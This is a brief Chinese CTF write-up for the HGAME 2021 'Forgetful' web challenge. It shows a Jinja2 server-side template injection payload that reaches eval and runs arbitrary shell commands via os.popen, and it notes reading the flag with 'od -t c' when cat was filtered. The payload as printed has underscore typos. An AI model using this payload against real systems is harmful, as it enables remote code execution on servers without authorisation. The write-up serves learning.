## **HGAME 2021 WEEK 3 WRITE UP**

## {web}

太难了。。这周忙就水了一道题。。

## **Forgetful**

题目中给的hint是用python写的,尝试ssti注入。

输入{{1+1}}返回了2,于是注入是可行的。

最终找到了一个脚本:

```
{% for c in [].__class__._base__._subclasses__() %} {% if c.__name__ ==
'catch_warnings' %} {% for b in c.__init__._globals__.values() %} {% if
b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']
('__import__("os").popen("xxx").read()') }} {% endif %} {% endif %} {%
endfor %} {% endif %} {% endfor %}
```

xxx为任意命令执行。

然后发现flag在根目录,尝试cat flag发现不行,用各种方式都被stop了,最终找到了用od -t c的方式读取。

